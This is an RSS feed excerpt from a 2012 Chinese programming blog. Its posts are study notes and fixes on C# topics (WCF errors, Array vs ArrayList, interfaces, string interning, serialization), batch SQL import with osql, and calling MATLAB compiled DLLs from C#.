      <guid>http://blog.leaver.me/2012/07/14/%E6%9C%AA%E8%83%BD%E5%8A%A0%E8%BD%BD%E6%96%87%E4%BB%B6%E6%88%96%E7%A8%8B%E5%BA%8F%E9%9B%86app_web_xxxx/</guid>
      <description>&lt;p&gt;　　今天在用WCF写服务的时候，服务一直连不上，直接查看svc文件，发现如下错误
未能加载文件或程序集“&amp;lsquo;App_Web_****, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null&amp;quot;,****是一个随机字符串。&lt;/p&gt;
&lt;p&gt;解决方法中：&lt;/p&gt;
&lt;p&gt;　　在web.config里配置成这样子：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt; &amp;lt;compilation debug=&#34;true&#34; batch=&#34;false&#34;&amp;gt;&lt;/pre&gt;
&lt;p&gt;　　就好了。中午和下午一直在搞javascript连接WCF的demo，总算是晚上搞定了，，还是老样子，，最大的体会就是很多东西就是看着简单，写起来会有各种各样的问题，比如这次，即使照着微软的官方文档来，也会有错误。动手才是王道，不管做什么。这几天忙完了，写篇文章出来。&lt;/p&gt;
&lt;p&gt;　　最后分享一下微软官方的&lt;a href=&#34;http://www.microsoft.com/china/msdn/events/webcasts/shared/webcast/Series/WCF_Ajax.aspx&#34;&gt;WCF与Ajax开发实践系列课程&lt;/a&gt;，我只能说WCF这东西没有哪一本书比微软官方的技术培训讲的更好了，非常建议学习。&lt;/p&gt;
&lt;p&gt;　　武汉最近下雨了，天气挺凉爽，过几天准备回家吧。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的Array和ArrayList</title>
      <link>http://blog.leaver.me/2012/07/11/c%23%E4%B8%AD%E7%9A%84array%E5%92%8Carraylist/</link>
      <pubDate>Wed, 11 Jul 2012 12:51:03 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/11/c%23%E4%B8%AD%E7%9A%84array%E5%92%8Carraylist/</guid>
      <description>&lt;p&gt;数组是最基础的数据结构。ArrayList可以看作是Array的复杂版本。下面比较两者的异同&lt;/p&gt;
&lt;h3 id=&#34;比较&#34;&gt;比较：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;h3 id=&#34;相同点&#34;&gt;相同点：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Array和ArrayList均实现了相同的接口，因此具有许多相同的操作方法，例如对自身进行枚举，能够以foreach语句遍历。
Array和ArrayList创建的对象均保存在托管堆中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;不同点&#34;&gt;不同点：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Array只能存储同构对象，当然，声明为Object类型的数组除外，因为任何类型都可以隐式转换成Object类型。ArrayList可以存储异构对象，这是因为本质上ArrayList内部维护着一个object[] items类型的字段，在应用ArrayList时，应该考虑装箱和拆箱所带来的性能损失。一般情况下，Array的性能高于ArrayList。&lt;/li&gt;
&lt;li&gt;Array可以是一维的，也可以是多维的，而ArrayList只能是一维的。&lt;/li&gt;
&lt;li&gt;Array的容量是固定的。一旦声明，不可更改，而ArrayList容量动态增加，当添加元素超过初始容量时，ArrayList会根据需要重新分配。而且可以通过TrimToSize删除空项来压缩体积。其实，除了Array外，其他集合类都是可以动态增加的。&lt;/li&gt;
&lt;li&gt;Array的下限可以设置，而ArrayList下限只能是0.&lt;/li&gt;
&lt;li&gt;Array只有简单的方法来获取或设置元素值，不能随意增加或删除数组元素，而ArrayList提供了更多的方法来操作元素，可以方便的插入或删除指定位置上的元素。一般可以用ArrayList代替Array.
tip：List泛型类对应于ArrayList。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>C#中的抽象类和接口</title>
      <link>http://blog.leaver.me/2012/07/10/c%23%E4%B8%AD%E7%9A%84%E6%8A%BD%E8%B1%A1%E7%B1%BB%E5%92%8C%E6%8E%A5%E5%8F%A3/</link>
      <pubDate>Tue, 10 Jul 2012 20:25:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/10/c%23%E4%B8%AD%E7%9A%84%E6%8A%BD%E8%B1%A1%E7%B1%BB%E5%92%8C%E6%8E%A5%E5%8F%A3/</guid>
      <description>&lt;p&gt;本文同样是笔记整理，手动输入一遍和看书的感觉还是很不一样的。文章非常好，讲的很清楚。&lt;/p&gt;
&lt;h3 id=&#34;什么是接口&#34;&gt;什么是接口？&lt;/h3&gt;
&lt;p&gt;　　　接口是包含一组虚方法的抽象类型，其中每一种方法都有其名称、参数和返回值。接口方法不能包含任何实现，CLR允许接口可以包含事件、属性、索引器、静态方法、静态字段、静态构造函数以及常数。但是注意：&lt;strong&gt;C#中不能包含任何静态成员&lt;/strong&gt;。一个类可以实现多个接口，当一个类继承某个接口时，它不仅要实现该接口定义的所有方法，还要实现该接口从其他接口中继承的&lt;strong&gt;所有&lt;/strong&gt;方法。&lt;/p&gt;
&lt;h3 id=&#34;什么是抽象类&#34;&gt;什么是抽象类？&lt;/h3&gt;
&lt;p&gt;　　　抽象类提供多个派生类共享基类的公共定义，它既可以提供抽象方法，也可以提供非抽象方法。抽象类不能实例化，必须通过继承由派生类实现其抽象方法，因此对抽象类不能使用new关键字，也不能被密封。如果派生类没有实现所有的抽象方法，则该派生类也必须声明为抽象类。另外，实现抽象方法由override方法来实现。&lt;/p&gt;
&lt;h3 id=&#34;比较&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;h3 id=&#34;相同点&#34;&gt;相同点&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;都不能被直接实例化，都可以通过继承实现其抽象方法。&lt;/li&gt;
&lt;li&gt;都是面向抽象编程的技术基础，实现了诸多的设计模式。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;不同点&#34;&gt;不同点&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;接口&lt;strong&gt;支持&lt;/strong&gt;多继承；抽象类不能实现多继承。&lt;/li&gt;
&lt;li&gt;接口只能定义抽象规则；抽象类既可以定义规则，还可能提供已实现的成员。&lt;/li&gt;
&lt;li&gt;接口是一组行为规范；抽象类是一个不完全的类，着重族的概念。&lt;/li&gt;
&lt;li&gt;接口可以用于支持回调；抽象类不能实现回调，因为继承不支持。&lt;/li&gt;
&lt;li&gt;接口只包含方法、属性、索引器、事件的签名，但不能定义字段和包含实现的方法；抽象类可以定义字段、属性、包含有实现的方法。&lt;/li&gt;
&lt;li&gt;接口可以作用于值类型和引用类型；抽象类只能作用于引用类型。例如，Struct就可以继承接口，而不能继承类。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;规则与场合&#34;&gt;规则与场合&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;请记住，面向对象思想的一个最重要的原则就是：&lt;strong&gt;面向接口编程&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;借助接口和抽象类，23个设计模式中的很多思想被巧妙的实现了，精髓就是面向抽象编程，通过封装变化来实现实体之间的关系。&lt;/li&gt;
&lt;li&gt;抽象类应主要用于关系密切的对象，而接口最适合为不相关的类提供通用功能。&lt;/li&gt;
&lt;li&gt;接口着重于CAN-DO关系类型，而抽象类则偏重于IS-A式的关系；&lt;/li&gt;
&lt;li&gt;接口多定义对象的行为；抽象类多定义对象的属性；&lt;/li&gt;
&lt;li&gt;接口定义可以使用public、protected、internal 和private修饰符，但是几乎所有的接口都定义为public，另外方法的访问级别不能低于接口的访问级别，否则可能导致编译错误。&lt;/li&gt;
&lt;li&gt;“接口不变”，是应该考虑的重要因素。所以，在由接口增加扩展时，应该增加新的接口，而不能更改现有接口。&lt;/li&gt;
&lt;li&gt;尽量将接口设计成功能单一的功能块，以.NET Framework为例，IDisposable、IDisposable、IComparable、IEquatable、IEnumerable等都只包含一个公共方法。&lt;/li&gt;
&lt;li&gt;接口名称前面的大写字母“I”是一个约定，正如字段名以下划线开头一样，请坚持这些原则。&lt;/li&gt;
&lt;li&gt;在接口中，所有的方法都默认为public。&lt;/li&gt;
&lt;li&gt;如果预计会出现版本问题，可以创建“抽象类”。而向接口中添加新成员则会强制要求修改所有派生类，并重新编译，所以版本式的问题最好以抽象类来实现。&lt;/li&gt;
&lt;li&gt;从抽象类派生的非抽象类必须包括继承的所有抽象方法和抽象访问器的实实现。&lt;/li&gt;
&lt;li&gt;对抽象类不能使用new关键字，也不能被密封，原因是抽象类不能被实例化。&lt;/li&gt;
&lt;li&gt;在抽象方法声明中不能使用 static 或 virtual 修饰符。
最后还是要勤于键盘，才能深入理解啊。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;参考：&lt;a href=&#34;http://www.cnblogs.com/anytao/archive/2007/04/12/must_net_02.html&#34;&gt;对抽象编程：接口和抽象类&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的字符串驻留</title>
      <link>http://blog.leaver.me/2012/07/08/c%23%E4%B8%AD%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%A9%BB%E7%95%99/</link>
      <pubDate>Sun, 08 Jul 2012 20:57:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/08/c%23%E4%B8%AD%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%A9%BB%E7%95%99/</guid>
      <description>&lt;p&gt;字符串string可以理解为char[]，他是一个引用类型。&lt;/p&gt;
&lt;h3 id=&#34;字符串创建&#34;&gt;字符串创建&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;操作上类似于int，char等类型，直接进行赋值，string str=&amp;ldquo;bystander&amp;rdquo;;虽然string 是个类，但是如果你天真的使用&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;string str=new string(&#34;bystander&#34;);&lt;/pre&gt;
&lt;p&gt;来构造，会导致一个编译错误。因为System.String只提供了数个接受Char*，Char[]类型参数的构造函数。
所以只能像下面这样使用，&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;Char[] cs={&#39;b&#39;,&#39;y&#39;,&#39;e&#39;};
String str=new String(cs);&lt;/pre&gt;
&lt;p&gt;看出来了吧，很麻烦的。所以一般还是使用第一种。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;字符串恒定性&#34;&gt;字符串恒定性&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;恒定性(Immutability)，是指字符串一经创建，就不可改变，这是String最为重要的特性之一。具体来说，就是字符串一旦创建，就会在托管堆上分配一块连续的内存空间，我们对其的任何改变都不会影响到原有的String对象，而是重新创建的新的String对象。类似Insert，Substring，ToUpper都只是创建出了新的临时的字符串，会成为下次垃圾回收的目标。
好处：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;保证了对String对象的任何操作不会改变源字符串。&lt;/li&gt;
&lt;li&gt;恒定性还意味着操作字符串不会出现线程同步问题&lt;/li&gt;
&lt;li&gt;恒定性一定程度上，成就了字符串驻留。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;字符串驻留&#34;&gt;字符串驻留&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;CLR维护一个表来存放字符串，该表叫做拘留表（或驻留池），他包含程序上以编程方式声明或创建的每一个唯一的字符串的引用，因此具有特定值的实例在系统中只有一个。如果将同一个字符串分配给多个变量，那么CLR就会向拘留池检索相同引用，并分配给变量。&lt;/p&gt;
&lt;p&gt;通过下面这个例子来说明：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;class StringInterning
{
     public static void Main()
        { 
            string strA = &#34;bystander&#34;;
            string strB = &#34;bystander&#34;;
            Console.WriteLine(ReferenceEquals(strA,strB));
            string strC = &#34;by&#34;;
            string strD = strC+&#34;stander&#34;;
            Console.WriteLine(ReferenceEquals(strA,strD));
            strD=String.Intern(strD);
            Console.WriteLine(ReferenceEquals(strA,strD));
        }
}&lt;/pre&gt;
&lt;p&gt;猜猜答案是什么。。
正确答案是：True，False，True
为什么不是我们通常认为的那样呢。这就是因为字符串驻留了&lt;/p&gt;
&lt;h3 id=&#34;缘起&#34;&gt;缘起&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;String类型的特性恒定性，对字符串的任何操作都只会创建新的字符串，这会导致性能下降，而String又用的很频繁，为此，CLR使用字符串驻留来解决这一问题。为此，CLR内部维护一个哈希表，来管理其创建的大部分string对象。其中Key为string本身，Value为分配给对应的string的内存地址。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;细节&#34;&gt;细节&lt;/h3&gt;
&lt;blockquote&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;string strA = &#34;bystander&#34;;&lt;/pre&gt;
&lt;p&gt;　　CLR初始化时，创建一个空的哈希表，当JIT编译方法的时候，会首先在哈希表中查找每一个字符串常量，显然找不到任何&amp;quot;bystander&amp;quot;变量，因此会在托管堆中创建一个新的string对系那个strA，并更新哈希表，Key被赋值为&amp;quot;bystander&amp;quot;,Value被赋值为strA的引用.也就是Value内保留了&amp;quot;bystander&amp;quot;在托管堆中的引用地址.&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;string strB = &#34;bystander&#34;;&lt;/pre&gt;
&lt;p&gt;　　接着,JIT根据&amp;quot;bystander&amp;quot;查找哈希表,结果找到了,所以JIT不做操作,只把找到的key对应的Value值赋给了strB对象.因此,第一个输出为true,引用相等.&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt; string strC = &#34;by&#34;;
 string strD = strC+&#34;stander&#34;;&lt;/pre&gt;
&lt;p&gt;　　同样,JIT向哈希表中添加了Key为&amp;quot;by&amp;quot;,Value为托管堆上&amp;quot;by&amp;quot;的地址.返回strC对象.但是注意,strD不同,JIT不检测,因为strD他是动态生成的.这样的字符串不会被添加到哈希表中进行维护,而是在托管堆中直接分配,所以第二个Console输出False.&lt;/p&gt;
&lt;p&gt;　　对于第三个,我们首先看看Intern方法和IsInterned方法,对于动态生成的字符串,因为没有添加到CLR维护的哈希表,所以字符串驻留机制对其失效,但是可以手工开启,来实现高效的比较字符串相等.&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;public static string Intern(string str)
public static string IsInterned(string str)&lt;/pre&gt;
&lt;p&gt;　　两者的机制都是去哈希表中查找是否存在str字符串,找到的话也都返回对str的引用,不同的是当哈希表中没有str的话,IsInterned返回null,而Intern将把这个字符串添加到哈希表,并返回引用.注意,IsInterned返回非null并不代表两个字符串引用了相同的地址.
所以&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;strD=String.Intern(strD);
Console.WriteLine(ReferenceEquals(strA,strD));&lt;/pre&gt;
&lt;p&gt;就很好理解了.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>C#中XML和二进制的序列化</title>
      <link>http://blog.leaver.me/2012/07/07/c%23%E4%B8%ADxml%E5%92%8C%E4%BA%8C%E8%BF%9B%E5%88%B6%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96/</link>
      <pubDate>Sat, 07 Jul 2012 18:30:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/07/c%23%E4%B8%ADxml%E5%92%8C%E4%BA%8C%E8%BF%9B%E5%88%B6%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96/</guid>
      <description>&lt;p&gt;看书的时候，看到的。然后感觉书上的写的不清楚，于是自己写了一下。还真的有问题。
要进行序列化和反序列化，首先要定义一个可以序列化的类，方法是在类的声明前加上特性
[Serializable]
定义了一个简单的用户类，需要注意的是私有字段是不能序列化的，只有公有字段和公有属性才可以。如下&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;[Serializable]  //特性，可以序列化
    public class UserData
    {
        public string Name;
        public int Age;
        private string sex;
        public string Sex
        {
            set{sex=value;}
            get{return sex;}
        }
        public UserData() 
        { 
        }
        public UserData(string name, int age, string sex)
        {
            Name = name;
            Age = age;
            Sex = sex;
        }
    }&lt;/pre&gt; 
&lt;p&gt;注意，书上有个例子没有给出默认的构造函数，实际测试时如果没有默认构造函数，是不能执行xml序列化的。注意。&lt;/p&gt;
&lt;p&gt;然后就导入需要的命名空间。
需要导入&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Xml.Serialization;&lt;/pre&gt; 
&lt;p&gt;分贝对应文件操作，二进制序列化和xml序列化&lt;/p&gt;
&lt;p&gt;为了方便，我封装了四个静态函数，用于实现序列化和反序列化。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt; //封装二进制序列化方法
        public static void BinarySerialize(UserData user)
        {
            FileStream fs = new FileStream(&#34;user.bin&#34;, FileMode.Create);
            BinaryFormatter formater = new BinaryFormatter();
            //执行序列化
            formater.Serialize(fs, user);
            fs.Close();
        }

        //封装二进制反序列化方法
        public static UserData BinaryDeserialize()
        {
            FileStream fs = new FileStream(&#34;user.bin&#34;, FileMode.Open, FileAccess.Read, FileShare.Read);
            BinaryFormatter formater = new BinaryFormatter();
            UserData user = formater.Deserialize(fs) as UserData;
            fs.Close();
            return user;
        }

        //封装xml序列化方法
        public static void XmlSerialize(UserData user)
        {
            XmlSerializer serializer = new XmlSerializer(typeof(UserData));
            FileStream fs = new FileStream(&#34;user.xml&#34;, FileMode.Create);
            serializer.Serialize(fs, user);
            fs.Close();
        }

        //封装xml反序列化方法
        public static UserData XmlDeserialize()
        {
             XmlSerializer serializer = new XmlSerializer(typeof(UserData));
            FileStream fs = new FileStream(&#34;user.xml&#34;, FileMode.Open);
            UserData user = serializer.Deserialize(fs) as UserData;
            fs.Close();
            return user;
        }&lt;/pre&gt; 
&lt;p&gt;代码比较简单。
最后是一个简单的测试。&lt;/p&gt;</description>
    </item>
    <item>
      <title>CSV批量导入解决</title>
      <link>http://blog.leaver.me/2012/07/06/csv%E6%89%B9%E9%87%8F%E5%AF%BC%E5%85%A5%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Fri, 06 Jul 2012 18:28:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/06/csv%E6%89%B9%E9%87%8F%E5%AF%BC%E5%85%A5%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;　　最近的一个事就是那个诡异的CSV导入，后来决定用最笨的方法。就是readline，然后确实是可以正常识别了。思路就是一行行读入，然后构造sql语句，保存为sql文件，然后去批量执行sql文件。其实在codeproject找到了一些类似的工具，都有不如意的地方，但是时间关系还没能自己去定制，这件事完成后，就去完善一下大牛们的工具。&lt;/p&gt;
&lt;p&gt;　　因为是多个csv文件，每个文件对应于我们想建的一个表，实际是大约2000个csv文件，每个文件大约4000行数据，构造成对应的sql语句比较简单，需要注意的就是如果sql server表中的字段和关键字重名，那么需要加[]，比如我们有个字段是open，那么实际sql语句中使用的时候，比如&lt;/p&gt;
&lt;pre class=&#34;lang:pgsql decode:true &#34; &gt;CREATE TABLE 
(
   [open] decimal not null,
)&lt;/pre&gt; 
&lt;p&gt;　　简单的读写以后我们构造了2000个sql文件，然后我们需要执行这些sql文件。。必然需要写个代码来批量执行了。。为此，我先用C#生成一个批处理文件，然后来执行&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;void GetBat(string InputPath,string OutFile)
        {
            DirectoryInfo di = new DirectoryInfo(InputPath);
            FileInfo[] fi = di.GetFiles();  // Create an array representing the files in the current directory
            StringBuilder strtemp = new StringBuilder();
            foreach (FileInfo fiTemp in fi)
            {
                string temp = &#34;osql -S \&#34;127.0.0.1\&#34;  -U \&#34;sa\&#34; -P \&#34;broker\&#34; -d \&#34;test_money\&#34; -i \&#34;&#34;;
                temp += fiTemp.FullName.ToString() + &#34;\&#34;\n&#34;;
                strtemp.Append(temp);
            }

            FileStream fs = new FileStream(OutFile, FileMode.OpenOrCreate);
            StreamWriter sw = new StreamWriter(fs);
            sw.WriteLine(strtemp);
            sw.Close();
            fs.Close();
        }&lt;/pre&gt; 
&lt;p&gt;　　简单封装了一下，输入参数是文件夹。里面包含我们的所有sql文件。输出为一个批处理文件。。后来。执行下生成的bat文件就可以了。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;osql -S &#34;127.0.0.1&#34;  -U &#34;sa&#34; -P &#34;broker&#34; -d &#34;test_money&#34; -i &#34;D:\test\AMKR.sql&#34;
osql -S &#34;127.0.0.1&#34;  -U &#34;sa&#34; -P &#34;broker&#34; -d &#34;test_money&#34; -i &#34;D:\test\AMLJ.sql&#34;
osql -S &#34;127.0.0.1&#34;  -U &#34;sa&#34; -P &#34;broker&#34; -d &#34;test_money&#34; -i &#34;D:\test\AMLN.sql&#34;
&lt;/pre&gt; 
&lt;p&gt;600M的sql文件执行起来三个多小时。。因为只算一次，所以就不考虑优化了。。鄙视我们吧。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Unable to read file Data_EGCITest解决方法</title>
      <link>http://blog.leaver.me/2012/07/03/unable-to-read-file-data_egcitest%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/</link>
      <pubDate>Tue, 03 Jul 2012 19:50:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/03/unable-to-read-file-data_egcitest%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/</guid>
      <description>&lt;p&gt;　　今天做的是使用matlab进行协整检验，好吧。。听起来似乎很厉害的样子，其实，我也不太清楚协整到底是干嘛呢。不过经管的各位很给力。
想来协整检验matlab是可以做的。所以就去查matlab是不是有这个函数，结果是有的。egcitest，但是具体的参数还是景观的朋友看懂的。&lt;/p&gt;
&lt;p&gt;　　早上3点多起床，看matlab的书，然后早上看完了。基本上熟悉了matlab的操作。然后就开始写这个。大致的流程和昨天的那篇文章是一致的。但是matlab生成的dll文件在C#里面调用始终会提示这样一个错误。：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;MWMCR::EvaluateFunction error ... Error using ==&amp;gt; 
load Unable to read file Data_EGCITest: No such file or directory. Error in =&amp;gt; test.m&lt;/pre&gt;
&lt;p&gt;　　组合了几个关键字进行搜索，发现了&lt;a href=&#34;http://www.mathworks.cn/matlabcentral/answers/33037-matlab-builder-ne-exception-with-supposedly-toolbox-support&#34;&gt;这篇文章&lt;/a&gt;，翻译过来很简单。&lt;/p&gt;
&lt;p&gt;　　错误提示说的那个Data_EGCITest是一个名为Data_EGCITest.mat的文件，位于$MATLABROOT/toolbox/econ/econ/Data_EGCITest.mat目录下，$MATLABROOT指的是你matlab的安装路径。在你build 工程的时候，在下图中，记得添加这个文件。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/24000_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9f98cf04debe57b3ec360a6b3ae27c8995579770.jpg&#34; title=&#34;操作&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　然后build生成的dll文件就可以正常在C#里使用了。&lt;/p&gt;
&lt;p&gt;　　中间走了很多弯路。因为我想既然matlab都编译生成了dll，那么dll应该没问题。然后我就把精力放在了C#那边。。结果后来折腾了很长时间，才发现是这边的问题。。坑爹。。&lt;/p&gt;
&lt;p&gt;　　协整检验的代码就不发了。和题目没关系。。
参考：
　　&lt;a href=&#34;http://www.mathworks.cn/help/toolbox/econ/egcitest.html&#34;&gt;http://www.mathworks.cn/help/toolbox/econ/egcitest.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#调用MatLab实现N阶幻方</title>
      <link>http://blog.leaver.me/2012/07/02/c%23%E8%B0%83%E7%94%A8matlab%E5%AE%9E%E7%8E%B0n%E9%98%B6%E5%B9%BB%E6%96%B9/</link>
      <pubDate>Mon, 02 Jul 2012 18:39:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/02/c%23%E8%B0%83%E7%94%A8matlab%E5%AE%9E%E7%8E%B0n%E9%98%B6%E5%B9%BB%E6%96%B9/</guid>
      <description>&lt;p&gt;　　MatLab的计算能力太强大了。最近需要通过C#来调用MatLab来进行一些计算，可是MatLab没用过。安装文件在我硬盘里躺了整整一年。&lt;/p&gt;
&lt;p&gt;　　我们希望的是由外部程序调用MatLab函数。所以。希望可以完全脱离MATLAB环境，实现软件的快速开发。为此需要先介绍一下MCR。&lt;/p&gt;
&lt;h3 id=&#34;mcr简介&#34;&gt;MCR简介&lt;/h3&gt;
&lt;p&gt;　　 MCR的全称是MATLAB Compiler Runtime，即MATLAB编译器运行时。是一个由MATLAB共享类库构成的执行引擎，他能够使MATLAB文件在没有MATLAB的机器上运行。这一点和.NET Framework相对于.NET程序一样，即为程序的运行提供了底层支持。当发布程序的时候，需要将MCR也打包进来，这样没有MATLAB的机器上也能执行，MCR随MATLAB软件一同发布，可以在MATLAB中输入命令“mcr”或者“mcrinstaller”获取其保存路径：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;&amp;gt;&amp;gt; mcr
The WIN32 MCR Installer, version 7.15, is:
    D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\win32\MCRInstaller.exe

MCR installers for other platforms are located in:
    D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\&amp;lt;ARCH&amp;gt;
  &amp;lt;ARCH&amp;gt; is the value of COMPUTER(&#39;arch&#39;) on the target machine.

Full list of available MCR installers:
D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\win32\MCRInstaller.exe

For more information, read your local MCR Installer help.
Or see the online documentation at MathWorks&#39; web site. (Page may load slowly.)&lt;/pre&gt; 
&lt;p&gt;　　根据上面的运行结果，可知该文件的完整路径是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\win32\MCRInstaller.exe&lt;/pre&gt; 
&lt;h3 id=&#34;mwarray-api简介&#34;&gt;MWArray API简介&lt;/h3&gt;
&lt;p&gt;　MCR包含了文件MWArray.dll，该文件中的API承担了用户程序和MCR之间数据交换的任务，因此，每一个独立文件都需要包含对该文件的引用，否则程序就不能使用MATLAB中的函数，为使用该文件，需要先使用上一步找到的安装MCR，我安装在D:\Program Files\MATLAB\MATLAB Compiler Runtime目录，然后该dll该文件在安装完MCR后位于：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;D:\Program Files\MATLAB\MATLAB Compiler Runtime\v715\toolbox\dotnetbuilder\bin\win32\v2.0，名字是MWArray.dll，&lt;/pre&gt; 
&lt;p&gt;　　另外，该文件中有两个重要的命名空间，MathWorks.MATLAB.NET.Arrays和MathWorks.MATLAB.NET.Utility，Arrays命名空间下的类提供从其他任何兼容CLS（Common Language Specification） 语言访问MATLAB中数组的功能，这些类支持数组格式化、类型的特定索引和错误处理的功能。而Utility命名空间下的类提供了对MWArray类架构和MATLAB公共运行时的托管API的通用支持。&lt;/p&gt;
&lt;h3 id=&#34;实施&#34;&gt;实施&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;为了将MATLAB中的程序作为组件提供给其他.NET程序使用，需要做两方面的工作：&lt;/p&gt;
&lt;p&gt;1.将M文件打包为与.NET兼容的程序集&lt;/p&gt;
&lt;p&gt;2.在外部程序中添加对程序集的引用&lt;/p&gt;
&lt;h3 id=&#34;matlab端的工作&#34;&gt;MATLAB端的工作&lt;/h3&gt;
&lt;p&gt;　　以我这个功能为例。打开MatLab，然后File-&amp;gt;New-&amp;gt;Deployment Project.然后在Type里选择.net Assembly,Ok即可。我选择的工程名是test，注意，这个test就会生成一个名为test.dll的程序集，所以起个好名字，，我没起好。如图1
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23964_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/494daca0321a65539ea6b2c7d6d3155345c3c32d.jpg&#34; title=&#34;start&#34;&gt;&lt;/a&gt;
　　然后在图2的视图中定位到你选择的工程目录，并依次点击。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23966_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b2e74076bfe76e6aeac6b3b7365668d2f23431fe.jpg&#34; title=&#34;step&#34;&gt;&lt;/a&gt;
　　添加一个test.m的文件。图3
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23965_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/110d97e0942789e04445dd3d3eee89873c49de11.jpg&#34; title=&#34;test&#34;&gt;&lt;/a&gt;这个名称随意。但是要注意，这个名字必须和你里面将要写的那个函数名称一致，这个很好理解。好了以后，双击test.m就会打开。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;function m=test(n)
m=magic(n);
end&lt;/pre&gt; 
&lt;p&gt;　　创建一个test方法。该方法在C#调用的时候要用到，接受一个参数，然后输出一个幻方。保存关闭m文件，然后回到上图，双击test.prj也就是工程文件。
来到图4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23967_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5ab49b4504bc1aba33d62b3c2cfbf897656c751d.jpg&#34; title=&#34;add&#34;&gt;&lt;/a&gt;
